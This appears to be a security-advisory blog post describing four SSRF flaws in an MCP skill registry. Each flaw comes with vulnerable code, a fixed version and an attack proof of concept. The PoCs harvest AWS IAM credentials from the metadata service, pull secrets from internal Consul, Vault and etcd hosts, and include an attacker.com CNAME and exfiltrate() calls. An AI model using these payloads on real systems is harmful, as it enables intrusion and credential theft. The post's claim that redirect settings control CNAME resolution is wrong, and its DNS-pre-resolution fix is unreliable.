← Blog

Claude MCP skill SSRF — skill review workflow and approval notification endpoints (SA-SKL-SSRF75)

SA-SKL-SSRF75 identifies four server-side request forgery vulnerabilities in MCP skill registry skill review workflow and approval notification endpoints. The review notification endpoint fetches a user-supplied reviewerNotificationUrl without validation, allowing an attacker to point it at the AWS instance metadata service and harvest IAM credentials from the confirmation response; the approval workflow confirmation endpoint fetches a user-supplied approvalWebhookUrl and returns the full response body, exposing the internal Consul service catalog; the review result delivery endpoint follows HTTP redirects including CNAME chains, allowing resolution to an internal Vault server that returns KV database secrets as the delivery confirmation; and the compliance report sink fetches a user-supplied complianceReportUrl and stores the raw response body as a compliance record in the database, enabling persistent exfiltration of etcd cluster configuration that is later retrievable through the compliance history API.

SA-SKL-SSRF75 findings at a glance
CRITICALSSRF75-001 — review notification endpoint fetches user-supplied reviewerNotificationUrl — attacker sets to http://169.254.169.254/latest/meta-data/iam/security-credentials/; IAM role name appears in notification confirmation response; second request fetches full credentials
CRITICALSSRF75-002 — approval workflow confirmation fetches user-supplied approvalWebhookUrl and returns full response body — attacker points to http://consul.internal:8500/v1/catalog/services; full internal service catalog returned as approval confirmation response
CRITICALSSRF75-003 — review result delivery endpoint fetches user-supplied resultDeliveryUrl with redirect:follow — CNAME chain resolves to http://vault.internal:8200/v1/secret/data/db; KV secrets returned as delivery confirmation
HIGHSSRF75-004 — compliance report sink fetches user-supplied complianceReportUrl and stores raw response as compliance record in DB — attacker points to http://etcd.internal:2379/v2/keys/; etcd config stored persistently and retrievable via compliance history API

SSRF75-001 — Review notification endpoint leaks IAM credentials via cloud metadata SSRF

The review notification endpoint is responsible for delivering a notification to the reviewer when a skill submission enters the review queue. The registry accepts a user-supplied reviewerNotificationUrl in the skill submission payload so that skill authors can direct notifications to custom webhook receivers. The endpoint performs no URL validation before issuing the outbound request, and it forwards the response body back to the caller as confirmation that the notification was delivered.

An attacker submits a skill with reviewerNotificationUrl set to http://169.254.169.254/latest/meta-data/iam/security-credentials/. The registry server, running on an EC2 instance, fetches this URL and returns the response body — which is the IAM role name attached to the instance profile — as part of the notification confirmation. The attacker then submits a second skill with the URL extended to include the role name, for example http://169.254.169.254/latest/meta-data/iam/security-credentials/registry-worker-role, and receives the full set of time-limited IAM credentials including AccessKeyId, SecretAccessKey, and Token. These credentials grant all permissions held by the registry worker role, typically including S3 read/write, DynamoDB access, and SQS operations across the registry's production infrastructure.

Vulnerable
// SSRF75-001 — VULNERABLE
router.post(
  '/api/skills/:id/review/notify',
  requireSession,
  async (req, res) => {
    const { reviewerNotificationUrl } = req.body;

    // VULNERABLE: no URL validation — fetches any attacker-supplied URL
    const notifyRes = await fetch(reviewerNotificationUrl, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ skillId: req.params.id, event: 'review_queued' }),
    });

    // VULNERABLE: returns full response body — leaks metadata service output
    const confirmation = await notifyRes.text();
    res.json({ delivered: true, confirmation });
  }
);

Attack PoC — SSRF75-001: Attacker submits two requests. First request retrieves the IAM role name from the instance metadata service. Second request appends the role name to fetch the full IAM credential set including AccessKeyId, SecretAccessKey, and session Token.

// SSRF75-001 — ATTACK PoC

// Step 1: retrieve IAM role name from instance metadata
const step1 = await fetch(
  'https://registry.example.com/api/skills/evil-skill-id/review/notify',
  {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    credentials: 'include',
    body: JSON.stringify({
      reviewerNotificationUrl:
        'http://169.254.169.254/latest/meta-data/iam/security-credentials/',
    }),
  }
);
// response: { "delivered": true, "confirmation": "registry-worker-role\n" }
const roleName = (await step1.json()).confirmation.trim();

// Step 2: fetch full IAM credentials for the discovered role
const step2 = await fetch(
  'https://registry.example.com/api/skills/evil-skill-id/review/notify',
  {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    credentials: 'include',
    body: JSON.stringify({
      reviewerNotificationUrl:
        `http://169.254.169.254/latest/meta-data/iam/security-credentials/${roleName}`,
    }),
  }
);
// response: { "delivered": true, "confirmation": "{\"AccessKeyId\":\"ASIA...\",\"SecretAccessKey\":\"...\",\"Token\":\"...\"}" }
const creds = JSON.parse((await step2.json()).confirmation);
exfiltrate(creds);
Fixed
// SSRF75-001 — FIXED
import { assertSafeExternalUrl } from '../lib/ssrf-guard.js';

router.post(
  '/api/skills/:id/review/notify',
  requireSession,
  async (req, res) => {
    const { reviewerNotificationUrl } = req.body;

    // FIXED: validate URL against private IP, cloud metadata, and loopback blocklist
    assertSafeExternalUrl(reviewerNotificationUrl, {
      blockPrivateIp: true,
      blockCloudMetadata: true,   // blocks 169.254.169.254, fd00:ec2::254, etc.
      blockLoopback: true,
      allowedSchemes: ['https'],  // HTTP never permitted
    });

    // FIXED: HEAD request only — no response body to exfiltrate
    const notifyRes = await fetch(reviewerNotificationUrl, {
      method: 'HEAD',
      redirect: 'error',          // never follow redirects
      signal: AbortSignal.timeout(5000),
    });

    // FIXED: return only the HTTP status code — never the response body
    res.json({ delivered: true, statusCode: notifyRes.status });
  }
);

SSRF75-002 — Approval webhook confirmation exposes internal Consul service catalog

When a skill review is approved, the registry fires a confirmation request to the approvalWebhookUrl registered against the skill. This URL is provided by the skill author at submission time and is intended to point to the author's own CI/CD pipeline trigger or deployment automation endpoint. The registry makes an outbound POST to this URL and mirrors the full HTTP response body back to the author as the approval confirmation payload visible in the registry dashboard.

An attacker registers http://consul.internal:8500/v1/catalog/services as the approval webhook URL. When the skill passes review, the registry server — which has network access to the internal service mesh — fetches this URL and receives the full Consul service catalog as a JSON object. This catalog is then stored and surfaced in the approval confirmation response returned to the attacker's dashboard session. The service catalog reveals the hostnames, ports, and health check details of every internal service registered with Consul, providing a detailed map of the internal network topology for use in further lateral movement attacks.

Vulnerable
// SSRF75-002 — VULNERABLE
router.post(
  '/api/skills/:id/review/approve',
  requireSession,
  requireReviewerRole,
  async (req, res) => {
    await db.skills.update({
      where: { id: req.params.id },
      data: { status: 'approved', approvedAt: new Date(), approvedBy: req.session.userId },
    });

    const skill = await db.skills.findOne({ where: { id: req.params.id } });

    // VULNERABLE: no URL validation; fetches attacker-supplied webhook URL
    const webhookRes = await fetch(skill.approvalWebhookUrl, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ skillId: skill.id, status: 'approved' }),
      redirect: 'follow', // VULNERABLE: follows redirects
    });

    // VULNERABLE: returns full response body — leaks internal service responses
    const webhookBody = await webhookRes.text();
    res.json({ approved: true, webhookStatusCode: webhookRes.status, webhookBody });
  }
);

Attack PoC — SSRF75-002: Attacker registers http://consul.internal:8500/v1/catalog/services as the approval webhook URL. After the skill is approved by a reviewer, the registry server fetches the Consul API and returns the internal service catalog as the webhookBody field in the approval confirmation response visible in the attacker's dashboard.

// SSRF75-002 — ATTACK PoC

// Step 1: register skill with internal Consul catalog URL as approval webhook
await fetch('https://registry.example.com/api/skills', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  credentials: 'include',
  body: JSON.stringify({
    name: 'benign-looking-skill',
    approvalWebhookUrl: 'http://consul.internal:8500/v1/catalog/services',
    // ... other required fields
  }),
});

// Step 2: wait for reviewer approval (or socially engineer approval)
// Step 3: check approval confirmation in dashboard
const approval = await fetch(
  'https://registry.example.com/api/skills/benign-looking-skill/review/status',
  { credentials: 'include' }
).then(r => r.json());

// approval.webhookBody contains full Consul service catalog:
// { "api-gateway": [], "auth-service": [], "vault": [], "etcd": [],
//   "postgres-primary": [], "redis-cluster": [], ... }
console.log(JSON.parse(approval.webhookBody));
Fixed
// SSRF75-002 — FIXED
import { assertSafeExternalUrl } from '../lib/ssrf-guard.js';

router.post(
  '/api/skills/:id/review/approve',
  requireSession,
  requireReviewerRole,
  async (req, res) => {
    await db.skills.update({
      where: { id: req.params.id },
      data: { status: 'approved', approvedAt: new Date(), approvedBy: req.session.userId },
    });

    const skill = await db.skills.findOne({ where: { id: req.params.id } });

    if (skill.approvalWebhookUrl) {
      // FIXED: validate before any outbound request
      assertSafeExternalUrl(skill.approvalWebhookUrl, {
        blockPrivateIp: true,
        blockCloudMetadata: true,
        blockLoopback: true,
        allowedSchemes: ['https'],
      });

      const webhookRes = await fetch(skill.approvalWebhookUrl, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ skillId: skill.id, status: 'approved' }),
        redirect: 'error',         // FIXED: never follow redirects
        signal: AbortSignal.timeout(5000),
      });

      // FIXED: return status code only — never return response body
      res.json({ approved: true, webhookStatusCode: webhookRes.status });
    } else {
      res.json({ approved: true });
    }
  }
);

SSRF75-003 — Review result delivery follows CNAME chain into internal Vault returning KV secrets

The review result delivery endpoint sends the full review outcome report — score breakdown, reviewer comments, remediation guidance — to a resultDeliveryUrl specified by the skill author. This design allows authors to pipe review results directly into their issue tracker, documentation system, or alerting pipeline. The endpoint uses redirect: 'follow' in the outbound fetch call, meaning it will follow HTTP 301/302 responses as well as DNS-level CNAME redirections.

An attacker registers a domain under their control, for example results-receiver.attacker.com, and configures it with a CNAME record pointing to vault.internal. Because the SSRF guard performs hostname validation before DNS resolution — seeing only the attacker-controlled hostname, which is a valid external domain — it passes the check. The outbound request then resolves the CNAME chain at the network layer, arriving at http://vault.internal:8200/v1/secret/data/db. Vault returns the database credential KV store as JSON in the response. The registry then mirrors this response body back to the attacker as the delivery confirmation, exposing database usernames, passwords, and connection strings for the registry's production database cluster.

Vulnerable
// SSRF75-003 — VULNERABLE
router.post(
  '/api/skills/:id/review/deliver-result',
  requireSession,
  requireReviewerRole,
  async (req, res) => {
    const { resultDeliveryUrl } = req.body;

    // VULNERABLE: hostname check only — does not resolve DNS before validation
    const parsed = new URL(resultDeliveryUrl);
    if (isPrivateIp(parsed.hostname)) {
      return res.status(400).json({ error: 'Private IP not allowed' });
    }
    // isPrivateIp checks literal IP — passes for CNAME-to-internal hostnames

    const result = await db.reviewResults.findOne({
      where: { skillId: req.params.id },
    });

    // VULNERABLE: redirect:follow traverses CNAME chain to internal host
    const deliveryRes = await fetch(resultDeliveryUrl, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(result),
      redirect: 'follow',  // VULNERABLE
    });

    // VULNERABLE: mirrors Vault KV response body back to caller
    const deliveryConfirmation = await deliveryRes.text();
    res.json({ delivered: true, confirmation: deliveryConfirmation });
  }
);

Attack PoC — SSRF75-003: Attacker controls results-receiver.attacker.com with a DNS CNAME record pointing to vault.internal. The registry's hostname check sees a valid external domain and permits the request. The fetch follows the CNAME chain to Vault at port 8200, which returns the /v1/secret/data/db KV store containing database credentials in the delivery confirmation response.

// SSRF75-003 — ATTACK PoC

// DNS setup (attacker controls results-receiver.attacker.com):
// results-receiver.attacker.com.  CNAME  vault.internal.
// (or: use an open redirect at a trusted domain to reach vault.internal:8200)

const deliveryRes = await fetch(
  'https://registry.example.com/api/skills/target-skill-id/review/deliver-result',
  {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    credentials: 'include',
    body: JSON.stringify({
      resultDeliveryUrl:
        'http://results-receiver.attacker.com:8200/v1/secret/data/db',
      // CNAME resolves to vault.internal:8200 at the network layer
    }),
  }
);

const data = await deliveryRes.json();
// data.confirmation = '{"request_id":"...","data":{"data":{"DB_PASSWORD":"s3cr3t","DB_USER":"registry","DB_HOST":"postgres-primary.internal"}}}'
console.log(JSON.parse(data.confirmation).data.data);
Fixed
// SSRF75-003 — FIXED
import { assertSafeExternalUrl } from '../lib/ssrf-guard.js';
import dns from 'node:dns/promises';

router.post(
  '/api/skills/:id/review/deliver-result',
  requireSession,
  requireReviewerRole,
  async (req, res) => {
    const { resultDeliveryUrl } = req.body;

    // FIXED: pre-resolve DNS and validate the resolved IP — defeats CNAME chains
    const parsed = new URL(resultDeliveryUrl);
    const resolved = await dns.lookup(parsed.hostname);
    assertSafeExternalUrl(resultDeliveryUrl, {
      resolvedIp: resolved.address, // validate against the actual destination IP
      blockPrivateIp: true,
      blockCloudMetadata: true,
      blockLoopback: true,
      allowedSchemes: ['https'],
    });

    const result = await db.reviewResults.findOne({
      where: { skillId: req.params.id },
    });

    const deliveryRes = await fetch(resultDeliveryUrl, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(result),
      redirect: 'error',           // FIXED: never follow redirects
      signal: AbortSignal.timeout(5000),
    });

    // FIXED: return only the HTTP status code — never the response body
    res.json({ delivered: true, statusCode: deliveryRes.status });
  }
);

SSRF75-004 — Compliance report sink stores etcd configuration persistently via SSRF

The compliance report sink endpoint collects compliance evidence during the skill review process. Skill authors can supply a complianceReportUrl pointing to their compliance documentation host (for example a signed S3 URL or a document management system endpoint). The registry fetches this URL, reads the response body as the compliance document, and stores it as a compliance record in the database keyed to the skill and review cycle. These records are subsequently surfaced through the compliance history API available to registry administrators and auditors.

Unlike the previous findings where the exfiltrated data was returned immediately in a single API response, this vulnerability provides a persistent exfiltration channel. An attacker supplies http://etcd.internal:2379/v2/keys/ as the compliance report URL. The registry server fetches this URL, receiving the etcd cluster's full key-value store listing including service configuration, feature flags, and any secrets stored in etcd. This raw JSON is then stored verbatim as the compliance document in the database. The attacker can retrieve the etcd data at any time by calling the compliance history API endpoint, which does not require the same review context that created it and may be accessible to lower-privilege users. The persistence means the exfiltrated data survives beyond the original request, is replicated in database backups, and may be exported in compliance audits.

Vulnerable
// SSRF75-004 — VULNERABLE
router.post(
  '/api/skills/:id/review/compliance-report',
  requireSession,
  async (req, res) => {
    const { complianceReportUrl, reviewCycleId } = req.body;

    // VULNERABLE: no URL validation — fetches any attacker-supplied URL
    const reportRes = await fetch(complianceReportUrl);

    // VULNERABLE: stores full response body as compliance record in DB
    const reportContent = await reportRes.text();
    await db.complianceRecords.create({
      data: {
        skillId: req.params.id,
        reviewCycleId,
        reportContent,           // etcd JSON stored here verbatim
        fetchedAt: new Date(),
        fetchedFrom: complianceReportUrl,
      },
    });

    res.json({ recorded: true });
  }
);

// Compliance history API — attacker retrieves stored etcd data later
router.get(
  '/api/skills/:id/compliance-history',
  requireSession,
  async (req, res) => {
    const records = await db.complianceRecords.findMany({
      where: { skillId: req.params.id },
    });
    // VULNERABLE: returns stored reportContent including exfiltrated etcd data
    res.json(records);
  }
);

Attack PoC — SSRF75-004: Attacker submits a compliance report pointing to the internal etcd API. The registry stores the etcd key-value listing as a compliance record. The attacker retrieves the full etcd configuration, including service discovery keys and stored secrets, by calling the compliance history API — which may be accessible without the elevated context required for the original submission.

// SSRF75-004 — ATTACK PoC

// Step 1: submit compliance report URL targeting internal etcd cluster
await fetch(
  'https://registry.example.com/api/skills/evil-skill-id/review/compliance-report',
  {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    credentials: 'include',
    body: JSON.stringify({
      complianceReportUrl: 'http://etcd.internal:2379/v2/keys/?recursive=true',
      reviewCycleId: 'cycle-2026-q4',
    }),
  }
);

// Step 2: retrieve persisted etcd data via compliance history API
// (accessible to auditors, compliance officers, lower-privilege users)
const history = await fetch(
  'https://registry.example.com/api/skills/evil-skill-id/compliance-history',
  { credentials: 'include' }
).then(r => r.json());

// history[0].reportContent contains full etcd key listing:
// {"action":"get","node":{"key":"/","dir":true,"nodes":[
//   {"key":"/config/db/password","value":"prod-db-s3cr3t"},
//   {"key":"/config/jwt/secret","value":"hs256-signing-key"},
//   {"key":"/feature-flags/enable-admin-bypass","value":"true"},
// ...]}}
const etcdData = JSON.parse(history[0].reportContent);
exfiltrate(etcdData);
Fixed
// SSRF75-004 — FIXED
import { assertSafeExternalUrl } from '../lib/ssrf-guard.js';
import dns from 'node:dns/promises';

router.post(
  '/api/skills/:id/review/compliance-report',
  requireSession,
  async (req, res) => {
    const { complianceReportUrl, reviewCycleId } = req.body;

    // FIXED: pre-resolve DNS and block private/metadata destinations
    const parsed = new URL(complianceReportUrl);
    const resolved = await dns.lookup(parsed.hostname);
    assertSafeExternalUrl(complianceReportUrl, {
      resolvedIp: resolved.address,
      blockPrivateIp: true,
      blockCloudMetadata: true,
      blockLoopback: true,
      allowedSchemes: ['https'],
    });

    // FIXED: HEAD request only — never read response body
    const reportRes = await fetch(complianceReportUrl, {
      method: 'HEAD',
      redirect: 'error',
      signal: AbortSignal.timeout(5000),
    });

    // FIXED: store only the HTTP status code — never store response body
    await db.complianceRecords.create({
      data: {
        skillId: req.params.id,
        reviewCycleId,
        responseStatusCode: reportRes.status,  // status code only
        fetchedAt: new Date(),
        fetchedFrom: complianceReportUrl,
        // reportContent field removed from schema
      },
    });

    res.json({ recorded: true, statusCode: reportRes.status });
  }
);

SkillAudit detection: Run SkillAudit on your MCP skill registry to automatically detect SSRF75-class patterns. The scanner identifies user-controlled URL parameters flowing into outbound fetch or HTTP client calls without prior assertSafeExternalUrl validation, flags response body forwarding from outbound requests back to API callers or into database writes, detects redirect:'follow' combined with user-supplied URLs, and identifies missing DNS pre-resolution that leaves the implementation vulnerable to CNAME-chain bypasses — producing a graded report with file locations, line numbers, and remediation guidance for all SSRF75-class patterns in review workflow and notification delivery endpoints.